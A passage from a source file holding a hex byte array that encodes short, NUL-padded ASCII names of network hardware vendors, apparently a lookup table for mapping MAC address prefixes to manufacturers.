0x72, 0x79, 0x73, 0x74, 0x61, 0x6c, 0x66,\r\n0x43, 0x6f, 0x67, 0x6e, 0x69, 0x74, 0x69, 0x76,\r\n0x53, 0x69, 0x67, 0x72, 0x61, 0x6e, 0x64, 0x00,\r\n0x43, 0x68, 0x69, 0x75, 0x6e, 0x4d, 0x61, 0x69,\r\n0x4c, 0x75, 0x66, 0x6b, 0x69, 0x6e, 0x49, 0x6e,\r\n0x42, 0x77, 0x42, 0x72, 0x6f, 0x61, 0x64, 0x63,\r\n0x49, 0x65, 0x65, 0x65, 0x31, 0x39, 0x30, 0x34,\r\n0x54, 0x63, 0x70, 0x6c, 0x69, 0x6e, 0x6b, 0x00,\r\n0x44, 0x61, 0x69, 0x72, 0x79, 0x43, 0x68, 0x65,\r\n0x45, 0x78, 0x63, 0x65, 0x70, 0x74, 0x69, 0x6f,\r\n0x59, 0x69, 0x6e, 0x67, 0x48, 0x75, 0x61, 0x49,\r\n0x43, 0x6f, 0x6d, 0x70, 0x61, 0x73, 0x73, 0x54,\r\n0x43, 0x65, 0x6e, 0x74, 0x72, 0x6f, 0x6e, 0x43,\r\n0x45, 0x76, 0x72, 0x73, 0x61, 0x66, 0x65, 0x54,\r\n0x44, 0x65, 0x6c, 0x74, 0x61, 0x6e, 0x65, 0x74,\r\n0x41, 0x75, 0x74, 0x6f, 0x6e, 0x69, 0x63, 0x73,\r\n0x50, 0x72, 0x6f, 0x74, 0x65, 0x75, 0x73, 0x44,\r\n0x4e, 0x65, 0x77, 0x70, 0x6f, 0x72, 0x74, 0x00,\r\n0x49, 0x63, 0x6f, 0x6e, 0x54, 0x69, 0x6d, 0x65,\r\n0x42, 0x6c, 0x75, 0x50, 0x72, 0x6f, 0x64, 0x75,\r\n0x48, 0x63, 0x63, 0x70, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x43, 0x68,\r\n0x58, 0x69, 0x61, 0x4d, 0x65, 0x6e, 0x55, 0x6e,\r\n0x4b, 0x79, 0x6f, 0x74, 0x6f, 0x55, 0x6e, 0x69,\r\n0x53, 0x65, 0x63, 0x75, 0x64, 0x6f, 0x73, 0x00,\r\n0x41, 0x72, 0x72, 0x69, 0x61, 0x4c, 0x69, 0x76,\r\n0x42, 0x72, 0x61, 0x76, 0x69, 0x64, 0x61, 0x53,\r\n0x53, 0x69, 0x6d, 0x61, 0x75, 0x64, 0x69, 0x6f,\r\n0x56, 0x69, 0x61, 0x73, 0x61, 0x74, 0x47, 0x72,\r\n0x41, 0x70, 0x70, 0x6c, 0x69, 0x65, 0x64, 0x56,\r\n0x54, 0x68, 0x6f, 0x75, 0x67, 0x68, 0x74, 0x43,\r\n0x47, 0x75, 0x69, 0x7a, 0x68, 0x6f, 0x75, 0x48,\r\n0x43, 0x65, 0x6c, 0x69, 0x7a, 0x69, 0x6f, 0x6e,\r\n0x53, 0x65, 0x61, 0x6c, 0x4f, 0x6e, 0x65, 0x00,\r\n0x41, 0x64, 0x76, 0x61, 0x6e, 0x00, 0x00, 0x00,\r\n0x41, 0x69, 0x64, 0x63, 0x54, 0x65, 0x63, 0x68,\r\n0x42, 0x69, 0x67, 0x53, 0x77, 0x69, 0x74, 0x63,\r\n0x49, 0x2d, 0x56, 0x69, 0x65, 0x77, 0x4e, 0x6f,\r\n0x4c, 0x67, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x54, 0x61, 0x6c, 0x6f, 0x6e, 0x43, 0x6f, 0x6d,\r\n0x41, 0x73, 0x6f, 0x6e, 0x69, 0x43, 0x6f, 0x6d,\r\n0x44, 0x61, 0x65, 0x45, 0x75, 0x6e, 0x45, 0x6c,\r\n0x4f, 0x2d, 0x53, 0x75, 0x6e, 0x67, 0x54, 0x65,\r\n0x42, 0x61, 0x6c, 0x74, 0x65, 0x63, 0x68, 0x00,\r\n0x41, 0x76, 0x69, 0x72, 0x65, 0x47, 0x6c, 0x6f,\r\n0x4f, 0x70, 0x65, 0x6e, 0x41, 0x63, 0x63, 0x65,\r\n0x56, 0x69, 0x76, 0x69, 0x6e, 0x74, 0x57, 0x69,\r\n0x41, 0x62, 0x63, 0x58, 0x69, 0x73, 0x68, 0x65,\r\n0x53, 0x70, 0x61, 0x7a, 0x69, 0x6f, 0x49, 0x74,\r\n0x53, 0x77, 0x69, 0x73, 0x73, 0x70, 0x68, 0x6f,\r\n0x54, 0x68, 0x65, 0x72, 0x65, 0x4f, 0x79, 0x00,\r\n0x47, 0x65, 0x68, 0x69, 0x72, 0x6e, 0x00, 0x00,\r\n0x4a, 0x65, 0x66, 0x66, 0x65, 0x72, 0x73, 0x6f,\r\n0x57, 0x69, 0x61, 0x74, 0x65, 0x63, 0x49, 0x6e,\r\n0x48, 0x61, 0x7a, 0x65, 0x6d, 0x65, 0x79, 0x65,\r\n0x45, 0x6e, 0x67, 0x75, 0x69, 0x74, 0x79, 0x54,\r\n0x33, 0x70, 0x6c, 0x65, 0x70, 0x6c, 0x61, 0x79,\r\n0x4a, 0x69, 0x6e, 0x67, 0x73, 0x68, 0x65, 0x6e,\r\n0x46, 0x6f, 0x72, 0x64, 0x00, 0x00, 0x00, 0x00,\r\n0x4d, 0x69, 0x73, 0x74, 0x00, 0x00, 0x00, 0x00,\r\n0x59, 0x69, 0x6b, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4e, 0x75, 0x76, 0x69, 0x63, 0x6f, 0x00, 0x00,\r\n0x4b, 0x65, 0x6e, 0x74, 0x6b, 0x61, 0x72, 0x74,\r\n0x48, 0x65, 0x6c, 0x6c, 0x6f, 0x00, 0x00, 0x00,\r\n0x53, 0x41, 0x53, 0x69, 0x73, 0x74, 0x65, 0x6c,\r\n0x48, 0x61, 0x69, 0x76, 0x69, 0x73, 0x69, 0x6f,\r\n0x42, 0x72, 0x69, 0x67, 0x68, 0x74, 0x73, 0x6f,\r\n0x53, 0x65, 0x63, 0x72, 0x65, 0x74, 0x4c, 0x61,\r\n0x43, 0x79, 0x62, 0x65, 0x72, 0x74, 0x65, 0x6c,\r\n0x52, 0x74, 0x6e, 0x65, 0x74, 0x00, 0x00, 0x00,\r\n0x54, 0x61, 0x62, 0x6c, 0x65, 0x74, 0x6f, 0x70,\r\n0x4c, 0x6f, 0x6b, 0x65, 0x6c, 0x53, 0x52, 0x4f,\r\n0x4c, 0x75, 0x6d, 0x61, 0x48, 0x6f, 0x6d, 0x65,\r\n0x48, 0x75, 0x6d, 0x61, 0x6e, 0x00, 0x00, 0x00,\r\n0x43, 0x6e, 0x65, 0x78, 0x4c, 0x61, 0x62, 0x73,\r\n0x41, 0x6c, 0x6c, 0x69, 0x73, 0x43, 0x6f, 0x6d,\r\n0x46, 0x72, 0x53, 0x61, 0x75, 0x74, 0x65, 0x72,\r\n0x45, 0x64, 0x69, 0x66, 0x69, 0x65, 0x72, 0x49,\r\n0x41, 0x7a, 0x72, 0x6f, 0x61, 0x64, 0x54, 0x65,\r\n0x50, 0x61, 0x6c, 0x6c, 0x61, 0x64, 0x69, 0x75,\r\n0x54, 0x68, 0x65, 0x62, 0x65, 0x6e, 0x00, 0x00,\r\n0x47, 0x72, 0x69, 0x64, 0x77, 0x69, 0x7a, 0x00,\r\n0x54, 0x65, 0x63, 0x68, 0x72, 0x6f, 0x75, 0x74,\r\n0x43, 0x64, 0x79, 0x6e, 0x65, 0x00, 0x00, 0x00,\r\n0x58, 0x74, 0x72, 0x65, 0x6d, 0x65, 0x50, 0x6f,\r\n0x55, 0x63, 0x7a, 0x6f, 0x6f, 0x6e, 0x54, 0x65,\r\n0x5a, 0x65, 0x6b, 0x74, 0x6f, 0x72, 0x00, 0x00,\r\n0x51, 0x61, 0x72, 0x64, 0x69, 0x6f, 0x00, 0x00,\r\n0x46, 0x65, 0x69, 0x74, 0x69, 0x61, 0x6e, 0x55,\r\n0x4e, 0x69, 0x63, 0x42, 0x72, 0x2d, 0x4e, 0x75,\r\n0x44, 0x65, 0x6c, 0x70, 0x68, 0x69, 0x6e, 0x54,\r\n0x4e, 0x65, 0x77, 0x53, 0x69, 0x6e, 0x67, 0x75,\r\n0x4f, 0x72, 0x61, 0x69, 0x6d, 0x6f, 0x54, 0x65,\r\n0x52, 0x53, 0x74, 0x61, 0x68, 0x6c, 0x48, 0x6d,\r\n0x43, 0x68, 0x65, 0x65, 0x72, 0x73, 0x74, 0x61,\r\n0x53, 0x70, 0x65, 0x63, 0x6f, 0x54, 0x65, 0x63,\r\n0x53, 0x79, 0x6e, 0x74, 0x65, 0x63, 0x68, 0x48,\r\n0x41, 0x74, 0x6f, 0x6d, 0x6f, 0x73, 0x45, 0x6e,\r\n0x50, 0x6f, 0x73, 0x62, 0x61, 0x6e, 0x6b, 0x00,\r\n0x49, 0x76, 0x76, 0x69, 0x53, 0x63, 0x69, 0x65,\r\n0x53, 0x69, 0x6c, 0x76, 0x65, 0x72, 0x70, 0x6c,\r\n0x53, 0x69, 0x61, 0x6d, 0x61, 0x00, 0x00, 0x00,\r\n0x54, 0x73, 0x62, 0x52, 0x65, 0x61, 0x6c, 0x54,\r\n0x49, 0x64, 0x61, 0x74, 0x65, 0x63, 0x68, 0x00,\r\n0x44, 0x61, 0x69, 0x6b, 0x69, 0x6e, 0x41, 0x69,\r\n0x52, 0x72, 0x61, 0x6d, 0x61, 0x63, 0x00, 0x00,\r\n0x56, 0x6f, 0x6c, 0x74, 0x72, 0x6f, 0x6e, 0x69,\r\n0x48, 0x75, 0x69, 0x7a, 0x68, 0x6f, 0x75, 0x51,\r\n0x4d, 0x69, 0x64, 0x6e, 0x69, 0x74, 0x65, 0x53,\r\n0x45, 0x6c, 0x74, 0x65, 0x78, 0x61, 0x6c, 0x61,\r\n0x49, 0x34, 0x76, 0x69, 0x6e, 0x65, 0x00, 0x00,\r\n0x56, 0x69, 0x64, 0x65, 0x6f, 0x72, 0x45, 0x48,\r\n0x43, 0x61, 0x72, 0x64, 0x69, 0x6f, 0x74, 0x65,\r\n0x4d, 0x70, 0x6c, 0x75, 0x73, 0x54, 0x65, 0x63,\r\n0x42, 0x75, 0x77, 0x6f, 0x6e, 0x54, 0x65, 0x63,\r\n0x53, 0x61, 0x70, 0x6c, 0x69, 0x6e, 0x67, 0x00,\r\n0x47, 0x61, 0x66, 0x61, 0x63, 0x68, 0x69, 0x00,\r\n0x43, 0x6f, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x45, 0x61, 0x73, 0x79, 0x44, 0x69, 0x67, 0x69,\r\n0x4c, 0x69, 0x70, 0x74, 0x65, 0x6c, 0x53, 0x52,\r\n0x58, 0x69, 0x61, 0x6d, 0x65, 0x6e, 0x56, 0x61,\r\n0x46, 0x6f, 0x72, 0x69, 0x63, 0x73, 0x45, 0x6c,\r\n0x4e, 0x65, 0x77, 0x62, 0x72, 0x69, 0x64, 0x67,\r\n0x53, 0x75, 0x79, 0x69, 0x6e, 0x00, 0x00, 0x00,\r\n0x4b, 0x69, 0x6e, 0x65, 0x74, 0x65, 0x6b, 0x53,\r\n0x46, 0x61, 0x63, 0x74, 0x73, 0x45, 0x6e, 0x67,\r\n0x53, 0x61, 0x6e, 0x64, 0x73, 0x74, 0x6f, 0x6e,\r\n0x45, 0x79, 0x65, 0x64, 0x72, 0x6f, 0x47, 0x72,\r\n0x53, 0x7a, 0x44, 0x6a, 0x69, 0x54, 0x65, 0x63,\r\n0x43, 0x69, 0x68, 0x6f, 0x6c, 0x61, 0x73, 0x00,\r\n0x54, 0x72, 0x61, 0x6e, 0x73, 0x63, 0x65, 0x6e,\r\n0x41, 0x6f, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x52, 0x61, 0x64, 0x69, 0x66, 0x6c, 0x6f, 0x77,\r\n0x49, 0x73, 0x65, 0x70, 0x6f, 0x73, 0x00, 0x00,\r\n0x41, 0x74, 0x6d, 0x61, 0x63, 0x61, 0x45, 0x6c,\r\n0x56, 0x65, 0x6c, 0x6f, 0x64, 0x79, 0x6e, 0x65,\r\n0x48, 0x65, 0x6c, 0x69, 0x75, 0x6d, 0x00, 0x00,\r\n0x47, 0x6b, 0x77, 0x61, 0x72, 0x65, 0x45, 0x4b,\r\n0x53, 0x6f, 0x6c, 0x61, 0x64, 0x69, 0x67, 0x6d,\r\n0x41, 0x76, 0x65, 0x72, 0x79, 0x57, 0x65, 0x69,\r\n0x4b, 0x65, 0x79, 0x44, 0x69, 0x67, 0x69, 0x74,\r\n0x4b, 0x61, 0x65, 0x6c, 0x4d, 0x68, 0x65, 0x00,\r\n0x48, 0x61, 0x6e, 0x73, 0x6f, 0x6e, 0x54, 0x65,\r\n0x53, 0x65, 0x6e, 0x74, 0x72, 0x75, 0x73, 0x47,\r\n0x44, 0x73, 0x73, 0x64, 0x00, 0x00, 0x00, 0x00,\r\n0x4d, 0x69, 0x63, 0x72, 0x6f, 0x73, 0x79, 0x73,\r\n0x56, 0x75, 0x7a, 0x69, 0x78, 0x2f, 0x4c, 0x65,\r\n0x47, 0x76, 0x69, 0x53, 0x65, 0x63, 0x75, 0x72,\r\n0x48, 0x69, 0x70, 0x61, 0x64, 0x49, 0x6e, 0x74,\r\n0x56, 0x69, 0x76, 0x6f, 0x6e, 0x69, 0x63, 0x00,\r\n0x43, 0x6c, 0x6f, 0x75, 0x64, 0x73, 0x77, 0x69,\r\n0x4d, 0x65, 0x72, 0x63, 0x68, 0x61, 0x6e, 0x64,\r\n0x4b, 0x75, 0x6e, 0x74, 0x65, 0x6e, 0x67, 0x00,\r\n0x41, 0x74, 0x68, 0x53, 0x79, 0x73, 0x74, 0x65,\r\n0x53, 0x79, 0x6e, 0x65, 0x72, 0x67, 0x69, 0x63,\r\n0x45, 0x6c, 0x62, 0x65, 0x72, 0x53, 0x72, 0x6c,\r\n0x50, 0x6c, 0x75, 0x6d, 0x65, 0x44, 0x65, 0x73,\r\n0x50, 0x68, 0x6f, 0x72, 0x75, 0x73, 0x00, 0x00,\r\n0x44, 0x65, 0x75, 0x74, 0x72, 0x6f, 0x6e, 0x45,\r\n0x52, 0x6f, 0x56, 0x65, 0x52, 0x4c, 0x61, 0x62,\r\n0x4e, 0x65, 0x78, 0x74, 0x6c, 0x61, 0x70, 0x00,\r\n0x45, 0x77, 0x6d, 0x48, 0x69, 0x67, 0x68, 0x74,\r\n0x4d, 0x6f, 0x76, 0x65, 0x49, 0x6e, 0x6e, 0x6f,\r\n0x4f, 0x6e, 0x53, 0x65, 0x6d, 0x69, 0x63, 0x6f,\r\n0x46, 0x75, 0x6a, 0x69, 0x61, 0x6e, 0x47, 0x72,\r\n0x50, 0x68, 0x79, 0x74, 0x72, 0x6f, 0x6e, 0x69,\r\n0x54, 0x72, 0x79, 0x6d, 0x75, 0x73, 0x00, 0x00,\r\n0x41, 0x69, 0x72, 0x73, 0x63, 0x61, 0x70, 0x65,\r\n0x41, 0x62, 0x6c, 0x6f, 0x6f, 0x6d, 0x79, 0x00,\r\n0x54, 0x61, 0x69, 0x77, 0x61, 0x6e, 0x43, 0x61,\r\n0x56, 0x69, 0x73, 0x68, 0x61, 0x6c, 0x54, 0x65,\r\n0x54, 0x7a, 0x75, 0x6b, 0x75, 0x72, 0x69, 0x50,\r\n0x52, 0x65, 0x61, 0x6c, 0x61, 0x6e, 0x64, 0x42,\r\n0x51, 0x75, 0x61, 0x74, 0x69, 0x75, 0x73, 0x00,\r\n0x45, 0x73, 0x74, 0x65, 0x63, 0x68, 0x00, 0x00,\r\n0x48, 0x6e, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x68, 0x69, 0x6e, 0x73, 0x65, 0x69, 0x45,\r\n0x53, 0x69, 0x6e, 0x6f, 0x2d, 0x54, 0x65, 0x6c,\r\n0x55, 0x6e, 0x69, 0x73, 0x65, 0x6d, 0x00, 0x00,\r\n0x41, 0x79, 0x6c, 0x61, 0x4e, 0x65, 0x74, 0x77,\r\n0x4a, 0x61, 0x62, 0x6c, 0x6f, 0x63, 0x6f, 0x6d,\r\n0x54, 0x72, 0x61, 0x6e, 0x77, 0x6f, 0x54, 0x65,\r\n0x56, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x76, 0x65,\r\n0x4c, 0x6f, 0x67, 0x69, 0x63, 0x57, 0x61, 0x79,\r\n0x43, 0x72, 0x75, 0x2d, 0x44, 0x61, 0x74, 0x61,\r\n0x54, 0x65, 0x72, 0x75, 0x6d, 0x6f, 0x00, 0x00,\r\n0x57, 0x6f, 0x6f, 0x72, 0x69, 0x73, 0x79, 0x73,\r\n0x43, 0x68, 0x69, 0x6e, 0x61, 0x50, 0x61, 0x6c,\r\n0x43, 0x45, 0x45, 0x6c, 0x65, 0x63, 0x74, 0x72,\r\n0x4e, 0x65, 0x77, 0x4c, 0x69, 0x67, 0x68, 0x74,\r\n0x50, 0x65, 0x74, 0x72, 0x61, 0x00, 0x00, 0x00,\r\n0x54, 0x61, 0x7a, 0x74, 0x61, 0x67, 0x00, 0x00,\r\n0x50, 0x6c, 0x75, 0x72, 0x69, 0x62, 0x75, 0x73,\r\n0x48, 0x65, 0x78, 0x69, 0x75, 0x6d, 0x54, 0x65,\r\n0x48, 0x65, 0x6c, 0x69, 0x6f, 0x73, 0x70, 0x65,\r\n0x44, 0x69, 0x67, 0x69, 0x62, 0x72, 0x61, 0x73,\r\n0x44, 0x6f, 0x77, 0x73, 0x6c, 0x61, 0x6b, 0x65,\r\n0x58, 0x6f, 0x72, 0x63, 0x6f, 0x6d, 0x00, 0x00,\r\n0x41, 0x6c, 0x6c, 0x42, 0x65, 0x73, 0x74, 0x49,\r\n0x53, 0x65, 0x75, 0x6e, 0x67, 0x69, 0x6c, 0x45,\r\n0x44, 0x65, 0x78, 0x69, 0x6e, 0x00, 0x00, 0x00,\r\n0x42, 0x69, 0x74, 0x77, 0x61, 0x76, 0x65, 0x50,\r\n0x45, 0x2d, 0x43, 0x6f, 0x6e, 0x49, 0x6e, 0x64,\r\n0x45, 0x78, 0x61, 0x62, 0x6c, 0x61, 0x7a, 0x65,\r\n0x46, 0x65, 0x69, 0x74, 0x69, 0x61, 0x6e, 0x54,\r\n0x43, 0x61, 0x6c, 0x64, 0x69, 0x67, 0x69, 0x74,\r\n0x44, 0x73, 0x70, 0x61, 0x63, 0x65, 0x00, 0x00,\r\n0x4c, 0x65, 0x6e, 0x75, 0x73, 0x00, 0x00, 0x00,\r\n0x48, 0x79, 0x75, 0x6e, 0x6a, 0x69, 0x6e, 0x43,\r\n0x4c, 0x6f, 0x6e, 0x67, 0x42, 0x65, 0x6e, 0x44,\r\n0x46, 0x72, 0x61, 0x75, 0x73, 0x63, 0x68, 0x65,\r\n0x45, 0x71, 0x75, 0x69, 0x6e, 0x6f, 0x78, 0x50,\r\n0x49, 0x6e, 0x74, 0x65, 0x6c, 0x69, 0x67, 0x68,\r\n0x4e, 0x73, 0x66, 0x6f, 0x63, 0x75, 0x73, 0x49,\r\n0x59, 0x61, 0x68, 0x6f, 0x6f, 0x21, 0x4a, 0x61,\r\n0x4e, 0x69, 0x63, 0x6f, 0x6c, 0x65, 0x74, 0x4e,\r\n0x56, 0x65, 0x6c, 0x75, 0x78, 0x00, 0x00, 0x00,\r\n0x43, 0x65, 0x6c, 0x6c, 0x69, 0x65, 0x6e, 0x74,\r\n0x4e, 0x75, 0x76, 0x6f, 0x6e, 0x00, 0x00, 0x00,\r\n0x42, 0x65, 0x69, 0x6a, 0x69, 0x6e, 0x67, 0x4f,\r\n0x48, 0x79, 0x74, 0x65, 0x72, 0x61, 0x43, 0x6f,\r\n0x41, 0x75, 0x74, 0x68, 0x2d, 0x53, 0x65, 0x72,\r\n0x52, 0x61, 0x64, 0x69, 0x6f, 0x44, 0x61, 0x74,\r\n0x47, 0x6f, 0x6f, 0x77, 0x69, 0x54, 0x65, 0x63,\r\n0x41, 0x72, 0x62, 0x69, 0x74, 0x65, 0x72, 0x00,\r\n0x53, 0x68, 0x6f, 0x6f, 0x74, 0x65, 0x72, 0x44,\r\n0x50, 0x68, 0x69, 0x73, 0x6f, 0x6e, 0x45, 0x6c,\r\n0x59, 0x6f, 0x6b, 0x6f, 0x74, 0x61, 0x49, 0x6e,\r\n0x54, 0x65, 0x6b, 0x74, 0x65, 0x6c, 0x69, 0x63,\r\n0x56, 0x67, 0x43, 0x6f, 0x6e, 0x74, 0x72, 0x6f,\r\n0x41, 0x6c, 0x70, 0x68, 0x61, 0x74, 0x72, 0x6f,\r\n0x49, 0x76, 0x74, 0x45, 0x6c, 0x65, 0x63, 0x74,\r\n0x50, 0x32, 0x4d, 0x6f, 0x62, 0x69, 0x6c, 0x65,\r\n0x56, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, 0x6c,\r\n0x4b, 0x6f, 0x6e, 0x65, 0x4f, 0x79, 0x6a, 0x00,\r\n0x4f, 0x6f, 0x6f, 0x53, 0x61, 0x6d, 0x6c, 0x69,\r\n0x4f, 0x6e, 0x65, 0x70, 0x6c, 0x75, 0x73, 0x54,\r\n0x57, 0x6f, 0x6e, 0x64, 0x65, 0x72, 0x6c, 0x61,\r\n0x4a, 0x75, 0x6e, 0x69, 0x4b, 0x6f, 0x72, 0x65,\r\n0x50, 0x6f, 0x6c, 0x79, 0x74, 0x65, 0x63, 0x00,\r\n0x43, 0x68, 0x65, 0x6e, 0x67, 0x64, 0x75, 0x50,\r\n0x56, 0x69, 0x76, 0x6f, 0x74, 0x65, 0x63, 0x68,\r\n0x53, 0x64, 0x6a, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x43, 0x6f, 0x6d, 0x62, 0x69, 0x71, 0x00, 0x00,\r\n0x53, 0x6f, 0x75, 0x74, 0x68, 0x41, 0x66, 0x72,\r\n0x41, 0x78, 0x65, 0x72, 0x72, 0x61, 0x4e, 0x65,\r\n0x4c, 0x61, 0x72, 0x6b, 0x54, 0x65, 0x63, 0x68,\r\n0x53, 0x69, 0x61, 0x54, 0x65, 0x6c, 0x65, 0x73,\r\n0x4b, 0x65, 0x69, 0x74, 0x68, 0x4b, 0x6f, 0x65,\r\n0x53, 0x6f, 0x6c, 0x69, 0x64, 0x69, 0x63, 0x61,\r\n0x4f, 0x70, 0x65, 0x6e, 0x70, 0x61, 0x74, 0x74,\r\n0x53, 0x79, 0x73, 0x7a, 0x6f, 0x6e, 0x65, 0x00,\r\n0x53, 0x65, 0x6c, 0x65, 0x63, 0x74, 0x43, 0x6f,\r\n0x53, 0x74, 0x61, 0x74, 0x69, 0x63, 0x47, 0x72,\r\n0x4b, 0x69, 0x6e, 0x67, 0x6e, 0x65, 0x74, 0x69,\r\n0x41, 0x74, 0x65, 0x6d, 0x65, 0x00, 0x00, 0x00,\r\n0x44, 0x65, 0x70, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x57, 0x6f, 0x78, 0x75, 0x57, 0x69, 0x72, 0x65,\r\n0x53, 0x65, 0x72, 0x69, 0x61, 0x6c, 0x77, 0x61,\r\n0x4d, 0x6f, 0x72, 0x69, 0x6f, 0x44, 0x65, 0x6e,\r\n0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x4d, 0x6f,\r\n0x53, 0x69, 0x62, 0x6f, 0x74, 0x65, 0x63, 0x68,\r\n0x57, 0x6f, 0x6f, 0x72, 0x69, 0x00, 0x00, 0x00,\r\n0x47, 0x65, 0x72, 0x64, 0x65, 0x73, 0x41, 0x6b,\r\n0x4b, 0x69, 0x6e, 0x69, 0x6f, 0x6e, 0x54, 0x65,\r\n0x4b, 0x65, 0x6e, 0x61, 0x64, 0x65, 0x45, 0x6c,\r\n0x41, 0x76, 0x76, 0x61, 0x73, 0x69, 0x00, 0x00,\r\n0x52, 0x6f, 0x6f, 0x6d, 0x72, 0x65, 0x61, 0x64,\r\n0x5a, 0x6f, 0x6e, 0x61, 0x72, 0x00, 0x00, 0x00,\r\n0x4b, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x4e, 0x65,\r\n0x59, 0x61, 0x6e, 0x63, 0x68, 0x65, 0x6e, 0x67,\r\n0x53, 0x70, 0x65, 0x63, 0x69, 0x61, 0x6c, 0x49,\r\n0x4c, 0x75, 0x70, 0x69, 0x6e, 0x65, 0x4c, 0x69,\r\n0x5a, 0x61, 0x6b, 0x6c, 0x61, 0x64, 0x79, 0x45,\r\n0x41, 0x6e, 0x64, 0x45, 0x6c, 0x65, 0x63, 0x74,\r\n0x52, 0x6f, 0x73, 0x65, 0x77, 0x69, 0x6c, 0x6c,\r\n0x53, 0x75, 0x6e, 0x77, 0x61, 0x76, 0x65, 0x43,\r\n0x49, 0x6e, 0x66, 0x6f, 0x73, 0x69, 0x67, 0x68,\r\n0x42, 0x6c, 0x75, 0x57, 0x69, 0x72, 0x65, 0x6c,\r\n0x4e, 0x69, 0x68, 0x6f, 0x6e, 0x44, 0x65, 0x6e,\r\n0x44, 0x65, 0x6a, 0x61, 0x69, 0x00, 0x00, 0x00,\r\n0x56, 0x75, 0x62, 0x69, 0x71, 0x4e, 0x65, 0x74,\r\n0x57, 0x75, 0x68, 0x61, 0x6e, 0x43, 0x68, 0x61,\r\n0x54, 0x65, 0x6c, 0x61, 0x64, 0x69, 0x6e, 0x00,\r\n0x44, 0x72, 0x69, 0x76, 0x65, 0x73, 0x63, 0x61,\r\n0x43, 0x6f, 0x75, 0x6e, 0x74, 0x77, 0x69, 0x73,\r\n0x4d, 0x61, 0x67, 0x69, 0x63, 0x49, 0x6e, 0x74,\r\n0x53, 0x69, 0x65, 0x6d, 0x65, 0x6e, 0x73, 0x44,\r\n0x45, 0x72, 0x65, 0x63, 0x61, 0x00, 0x00, 0x00,\r\n0x42, 0x68, 0x75, 0x75, 0x00, 0x00, 0x00, 0x00,\r\n0x50, 0x6f, 0x77, 0x65, 0x72, 0x63, 0x6c, 0x6f,\r\n0x53, 0x70, 0x6e, 0x73, 0x00, 0x00, 0x00, 0x00,\r\n0x50, 0x26, 0x53, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x45, 0x6e, 0x6c, 0x69, 0x67, 0x68, 0x74, 0x65,\r\n0x5a, 0x66, 0x54, 0x72, 0x77, 0x41, 0x75, 0x74,\r\n0x50, 0x6f, 0x77, 0x65, 0x72, 0x72, 0x61, 0x79,\r\n0x5a, 0x79, 0x63, 0x6f, 0x6f, 0x00, 0x00, 0x00,\r\n0x41, 0x6e, 0x67, 0x6c, 0x65, 0x72, 0x4c, 0x61,\r\n0x43, 0x6f, 0x6d, 0x61, 0x70, 0x53, 0x52, 0x4f,\r\n0x57, 0x69, 0x33, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x50, 0x72, 0x6f, 0x70, 0x68, 0x65, 0x74, 0x45,\r\n0x43, 0x65, 0x74, 0x6f, 0x72, 0x79, 0x54, 0x76,\r\n0x57, 0x65, 0x73, 0x74, 0x75, 0x6e, 0x69, 0x74,\r\n0x45, 0x6c, 0x73, 0x2d, 0x47, 0x6d, 0x62, 0x68,\r\n0x59, 0x53, 0x6f, 0x66, 0x74, 0x41, 0x53, 0x00,\r\n0x50, 0x61, 0x6e, 0x64, 0x6f, 0x72, 0x61, 0x4d,\r\n0x49, 0x67, 0x69, 0x4d, 0x6f, 0x62, 0x69, 0x6c,\r\n0x4f, 0x75, 0x74, 0x65, 0x72, 0x6c, 0x69, 0x6e,\r\n0x4f, 0x72, 0x62, 0x6f, 0x74, 0x69, 0x78, 0x00,\r\n0x49, 0x6e, 0x71, 0x4d, 0x6f, 0x62, 0x69, 0x6c,\r\n0x4e, 0x75, 0x6f, 0x78, 0x63, 0x00, 0x00, 0x00,\r\n0x45, 0x64, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69,\r\n0x41, 0x65, 0x74, 0x65, 0x6b, 0x00, 0x00, 0x00,\r\n0x53, 0x6f, 0x63, 0x69, 0x65, 0x74, 0x79, 0x4f,\r\n0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x00, 0x00,\r\n0x41, 0x74, 0x65, 0x6c, 0x69, 0x65, 0x72, 0x56,\r\n0x48, 0x6f, 0x6e, 0x67, 0x68, 0x61, 0x6f, 0x4d,\r\n0x42, 0x73, 0x68, 0x48, 0x61, 0x75, 0x73, 0x67,\r\n0x44, 0x61, 0x74, 0x65, 0x63, 0x73, 0x00, 0x00,\r\n0x52, 0x66, 0x49, 0x64, 0x65, 0x61, 0x73, 0x00,\r\n0x46, 0x75, 0x74, 0x75, 0x72, 0x61, 0x4d, 0x6f,\r\n0x49, 0x6e, 0x65, 0x73, 0x61, 0x45, 0x6c, 0x65,\r\n0x57, 0x61, 0x74, 0x65, 0x72, 0x66, 0x75, 0x72,\r\n0x41, 0x63, 0x74, 0x4b, 0x64, 0x65, 0x00, 0x00,\r\n0x42, 0x2d, 0x50, 0x6c, 0x75, 0x73, 0x00, 0x00,\r\n0x4f, 0x63, 0x74, 0x6f, 0x70, 0x75, 0x73, 0x00,\r\n0x4d, 0x69, 0x6e, 0x65, 0x53, 0x69, 0x74, 0x65,\r\n0x55, 0x54, 0x65, 0x6b, 0x00, 0x00, 0x00, 0x00,\r\n0x50, 0x6f, 0x72, 0x74, 0x61, 0x6c, 0x69, 0x73,\r\n0x50, 0x72, 0x6f, 0x73, 0x79, 0x73, 0x44, 0x65,\r\n0x4e, 0x61, 0x6e, 0x74, 0x6f, 0x6e, 0x67, 0x43,\r\n0x4f, 0x70, 0x77, 0x69, 0x6c, 0x6c, 0x54, 0x65,\r\n0x50, 0x61, 0x63, 0x6b, 0x65, 0x74, 0x73, 0x74,\r\n0x55, 0x6e, 0x67, 0x6c, 0x61, 0x75, 0x62, 0x65,\r\n0x4c, 0x69, 0x6e, 0x6b, 0x74, 0x65, 